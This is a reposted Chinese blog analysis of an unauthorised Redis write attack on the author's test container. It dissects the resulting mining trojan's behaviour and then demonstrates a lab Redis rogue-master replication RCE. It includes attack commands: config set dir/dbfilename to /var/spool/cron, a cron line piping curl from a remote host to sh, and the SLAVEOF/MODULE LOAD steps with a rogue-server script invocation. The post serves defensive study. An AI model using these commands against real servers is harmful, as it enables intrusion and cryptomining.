<返回更多

对一次 redis 未授权写入攻击的分析以及学习

2019-07-29    
加入收藏

前段时间自己使用 redis 开发的时候,搞了一个 Docker ,然后直接开放连接没有密码,其实一开始我就知道会被黑产扫到然后给我种马,但是把因为也是测试服务,其实也没怎么上心,于是就放任自由了,结果第二天果然收到了一份新鲜的木马。然后简单对其入侵做了一个分析,结果发现没有能攻击成功,但是既然木马在了就简单看看吧。

0X01 简单回顾一下 redis 攻击的过程

1.攻击条件

(1)空密码并且允许外部直接连接

注:这一点其实有很多细节

因为在 3.2 以后有了保护模式,保护模式的作用就是在没有设置密码 并且 没有配置 bind 地址的时候强行只允许本机连接,但是对于绑定地址或者是配置过密码的服务来讲这一项可以忽略。

另外还有一个误区就是这个绑定地址不是绑定外部的地址,而是绑定自己服务器的允许作为与外部进行连接的 IP 地址,比如绑定自己服务器的外网 IP,或者绑定 127.0.0.1 或者绑定 0.0.0.0 ,这个绑定 0.0.0.0 就是绑定了自己服务器全部的 ip 地址(服务器可以有很多的 ip ,比如内网 ip 、回环 ip、外网 IP 等 ),因此其实对于一般的服务器来说,绑定自己的外网 ip 和直接绑定 0.0.0.0 是没区别的,不设置密码的情况下去绑定外网 ip 起不到任何的保护作用,返回会因为绑定了地址让保护模式失效遭受攻击。

说一句题外话就是:想要安全的话设置了空密码就要绑定内网地址,否则就老老实实设置密码

(2)使用 root 权限启动 redis

高权限用户启动的程序拥有和启动该程序用户一样的权限,这大大有利于攻击者在控制了 redis 之后借助这种高权限去修改高权限配置文件来完成攻击(不过现在高版本的 redis 启动默认都是 redis 权限了而不是原来的 root 权限)

对一次 redis 未授权写入攻击的分析以及学习

 

(3)redis 在没有保护措施的情况下也没有修改默认端口

默认端口是 6379 ,很容易被扫到

(4)补充

Ubuntu 下执行 crontab 使用的是 sh , 而 sh 软连接的是dash ,而不是 bash,那么如果你直接在 cron 里面写 bash - i xx 的反弹是不可能成功的,解决方法有两种,一种就是使用 Python 调用 /bin/sh 反弹 shell ,还有一种可以尝试写 sh 文件,然后用 cron 去执行

2.攻击利用的机制

redis 的攻击主要是利用 redis 的持久化存储 RDB 或者 AOF(默认不开启),所谓持久化就是一种快照机制,用来后期恢复数据。比如 RDB 可以在一定的条件下将当前内存的数存储进一个 dump.rdb 文件中,如果下次想恢复这个数据的话,就需要将这个文件放在 redis 的快照保存目录下,替换当前的 dump.rdb 再次重启这样就能恢复原始的数据了

触发 RDB 的机制有以下几种

1 在指定的时间间隔内,执行指定次数的写操作 ———–>可以通过配置文件进行设置

2 执行save(阻塞, 只管保存快照,其他的等待) 或者是bgsave (异步)命令 —-》手动保存

3 执行flushall 命令,清空数据库所有数据 —->清除全部 Key 同时也会清除当前rdb

4 执行shutdown 命令,保证服务器正常关闭且不丢失任何数据 ———->很好地保存数据不被清除

3.大概的攻击流程

(1)修改 redis 的 rdb 文件的存放路径为 root 用户的 crontab 配置文件

设置 dir 到定时任务目录

config set dir "/var/spool/cron"

设置持 rdb 文件名为root

config set dbfilename root

(2)使用 FLUSHALL 进行清除数据库

127.0.0.1:6379> flushall 
OK

这一步主要是想清除原始 root 文件的内容,也是为了避免不必要的格式错误

(3)在 redis 中写入我们的 cron 语句

127.0.0.1:6379> set test "n*/10 * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | shn"
OK
这里的换行符是为了实现写入时的格式良好,因为 cron 读取的时候是一行一行读取的,遇到格式不正确则丢弃

(4)强行触发 rdb 更新

127.0.0.1:6379> save

至此我们的 cron 的数据就写入到了 root 用户的 cron 文件夹中了

(5)总结:

除了可以写 cron 以外,写一个 一句话 webshell 也是可以的,其实可以清楚地看到,redis 的成功攻击除了依赖于 权限配置的失误以外,一句话 webshell 以及 cron 对格式要求的不严格也是一大重要因素。

0X02 再次回到这次的木马分析

攻击者也是一样,直接 flushall 了我的全部的 key,然后直接给我写一个名为 back 的 cron ,每一分钟从他的服务器上下载了一个脚本运行。

* * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh

-f:不输出错误

-s: 静默不输出

-S: -s 条件下输出错误

-L: 跟踪重定向

对一次 redis 未授权写入攻击的分析以及学习

 

在确定了攻击者攻击并没有成功以后,我下载了木马,然后简单的分析了一下,看看有没有什么操作我没有检测到的。

1.看一下 main 函数整体的调用

对一次 redis 未授权写入攻击的分析以及学习

 

可以说是非常的简洁明了了,木马开始运行以后依次调用了

mark() 
background()
sethosts()
checkhost()
checkzigw()
initfiles()
checkcrontab()
checkssh()
kill()
checkservice()
clean()

从函数名字大概就能知道木马做了些什么,应该对 crontab ssh hosts 文件都做了修改,我们来一个一个看一看。

2.mark()

对一次 redis 未授权写入攻击的分析以及学习

 

简单的创建了一条命令,并通过 sys 函数进行执行,这个命令的作用是创建一个空文件,从 mark() 这个函数名字可以猜测来这个空文件的作用可能是做为一个该木马有没有成功运行起来的标记

3.background()

对一次 redis 未授权写入攻击的分析以及学习

 

设置进程后台运行,并改变工作目录为根目录

4.checkhost()

对一次 redis 未授权写入攻击的分析以及学习

 

删除主机原始的 hosts 文件然后,重新创建空的 hosts 文件,并添加一系列的域名指向 127.0.0.1

而这些域名经过访问都是一些矿池

对一次 redis 未授权写入攻击的分析以及学习

 


对一次 redis 未授权写入攻击的分析以及学习

 

5.checkzigw()

对一次 redis 未授权写入攻击的分析以及学习

 

检测系统中是否存在 /etc/zigw、/tmp/zigw、/etc/zjgw,这些文件,如果有的话,就结束对应的进程并且删除对应的文件

其中:chattr -ia 这条命令是关闭可能让文件无法删除的属性,具体可以看 这里

6.initfiles()

该函数的作用主要是下载挖矿木马,并且修改 rm ,首先是会检测当前的权限,如果是 root 就把木马下载到 /etc 目录下,如果不是 root 的话就下载到 /tmp 目录下

root 权限

对一次 redis 未授权写入攻击的分析以及学习

 

非 root 权限

对一次 redis 未授权写入攻击的分析以及学习

 

除了下载 pdvs 以外,还下载了 httpdz 和 migrations 这两个文件,除此之外如果是在 root 权限下就还有一个替换系统 rm 命令的操作

对一次 redis 未授权写入攻击的分析以及学习

 

rm 文件只有一个函数,既然替换了这个文件,那么一定是非常关键的东西,我们来分析一下

对一次 redis 未授权写入攻击的分析以及学习

 

这脚本的地址是什么呢?看一下 curlurl 变量的交叉引用

对一次 redis 未授权写入攻击的分析以及学习

 

其实下载下来就是我们最上面分析的那个 sh 文件,也就是说这里的替换实际上是一个双重保险

7.checkcrontab()

该函数主要是对 /var/spool/cron/root 这个文件的内容进行检查,看看是不是有自己写的内容,如果没有则调用命令重新写入

对一次 redis 未授权写入攻击的分析以及学习

 

另外这里面还使用了 chattr 这个命令对文件的额外属性进行添加和删除,防止文件内容被轻易修改,例如:

chattr +i 防止系统中某个关键文件被修改

chadttr +a 让某个文件只能往里面追加数据,但不能删除

对一次 redis 未授权写入攻击的分析以及学习

 

8.checkssh()

root 权限下可执行这个函数,检查 /root/.ssh/authorized_keys 是否存在,不存在则重新创建

对一次 redis 未授权写入攻击的分析以及学习

 

9.kill()

清理自己创建的一些进程和文件

对一次 redis 未授权写入攻击的分析以及学习

 

10.checkservice()

检测自己创建的系统服务存在,如果存在则设置开机自启,如果不存在则重新创建这个服务,服务的作用就是下载这个木马

下图为检测服务里面的内容是不是自定义的

对一次 redis 未授权写入攻击的分析以及学习

 

如果是的话就添加到系统服务并开启

对一次 redis 未授权写入攻击的分析以及学习

 

如果检测到内容已经被修改了,那么就删除这个服务,并重新创建

对一次 redis 未授权写入攻击的分析以及学习

 

11.clean()

该函数的主要作用是删除一些留下的痕迹,包括 history 和登录痕迹等

对一次 redis 未授权写入攻击的分析以及学习

 

0X03 利用 Redis 主从复制来 RCE

1.基本原理

该攻击方法使用的是 Redis 中的主从复制,以及 Redis4.x 中新引入的自定义模块加载功能。

(1)先简单解释一下这两个概念

主从复制的概念:

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。虽然 Redi s 的读写速度都非常快,但如果当把数据都存储在单个Redis的实例中,供客户端去读取的话, 那么很有可能会产生服务器难以承受的读压力。

为了缓解这样的压力,主从复制这样的机制出现了,主从模式就是指使用 一个 redis实例作为主机(master),其他实例  作为从机(slave),主机只负责写入数据,很多的从机负责读,这就很想我们常常说的 CDN 负载均衡的功能,如下图所示

对一次 redis 未授权写入攻击的分析以及学习

 

那么主从复制是如何进行的呢?

对一次 redis 未授权写入攻击的分析以及学习

 

我们重点关注 RDB 文件部分,我们可以发现主从复制依赖的还是我们之前经常利用的 RDB 文件,slave 与 master 的同步就和 MySQL 使用 Binlog 去恢复数据是一样的。

Redis 4.x 自定义模块加载:

Redis从4.0版本开始加入了对外部扩展模块的支持(其实以前在unstable的版本时 redis 就支持社区的自定义模块了)。外部扩展模块可以实现新的Redis命令,新的Redis数据结构,总之基本上可以做到所有Redis内核可以做的事情。

Redis模块需要引入redismodule.h,用C、C++或其他提供C binding的开发语言实现,并编译成动态库.so文件。

模块的加载方式,一种是在配置文件redis.conf中使用loadmodule /path/to/mymodule.so在Redis启动时加载。另一种方式在运行时使用命令MODULE LOAD /path/to/mymodule.so加载。加载的模块可以使用命令MODULE LIST查看,使用MODULE UNLOAD mymodule卸载。

加载了模块以后我们就能直接执行我们在模块中自定义的命令了,这是不是有点像 MYSQL 的 UDF(其实就是一个道理)

(2)将两者配合起来

slave 能主从复制机制从 master 获取到 rdb 文件,那么我们是不是可以自己写一个 “流氓服务器” 去模拟 master 然后将我们自定义的模块通过这种主从复制机制传递到 slave 上,slave 端只要将,我们传递来的 rdb 文件保存成一个 .so 文件然后再去进行模块加载,我们的攻击就完成了

2.该种利用方法的优点

使用这种攻击方法就可以完美的解决下面两个问题,直接实现在目标机器上 RCE

1.高版本 redis 启动默认是以 redis 权限启动的,这也就意味着,我们没法写 crontab(写文件形式修改 crontab 被禁用,只能通过交互 crontab -e 进行修改,但是对我们没有用),可以写 redis 用户的 ssh key,但是由于是低权限用户,危害较小,当然我们可以写 webshell(前提是这台服务器上有装 web 服务)

2.ubuntu 服务器实际上用 bash 反弹比较费劲,只能考虑使用 python

3.利用条件

Redis 4.x

可以远程连接到目标 redis 服务器

4.利用的基本步骤

其实上面我们已经说了,这里再细化一下

(1)在目标上执行, 将自己vps设置为master: SLAVEOF vps port

(2)在目标上执行,设置一下 dbfilename 为 xxx.so 文件

(3)通过同步,将模块文件写到目标的磁盘上: FULLRESYNC <Z*40> 1rn$ rn (4)在目标上执行,加载模块: MODULE LOAD /tmp/exp.so

5.利用演示

(1)下载 redis 4.0 镜像作为受害靶机

docker pull redis:4.0

(2)交互方式运行镜像,将 6379 端口映射到主机的 6666 端口

docker run -p 6666:6379 -it 67f7ad418fdf /bin/bash

(3)在 docker 中启动 redis 服务

redis-server

(4)启动以后我们可以远程连接看一下效果

对一次 redis 未授权写入攻击的分析以及学习

 

可以看到远端成功无权限访问我的 redis 数据库,并且可以插入数据

(5)在主机中 clone 攻击脚本(从土师傅的 git 上 fork 下来添加了个 .so)

git clone https://github.com/K0rz3n/redis-rogue-server-1.git

(6)运行脚本

python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6666 --lhost xxx.xxx.xxx.xxx --lport 2333

运行脚本后靶机就会把我们的 lhost 作为 master 然后自己做为 slave 了,并且会同步数据

靶机运行效果:

对一次 redis 未授权写入攻击的分析以及学习

 

流氓服务器运行效果:

对一次 redis 未授权写入攻击的分析以及学习

 

注:这里的 127 实际上是靶机,xxx 代表的是我的 “流氓服务器”

(7)查看现在的 redis 服务器

对一次 redis 未授权写入攻击的分析以及学习

 

可以看出来,现在的数据库以及沦为了只读模式的 slave

(8)执行命令

对一次 redis 未授权写入攻击的分析以及学习

 

原文:https://www.cnblogs.com/aishangJAVA/p/11261775.html

声明:本站部分内容来自互联网,如有版权侵犯或其他问题请与我们联系,我们将立即删除或处理。
▍相关推荐
更多资讯 >>>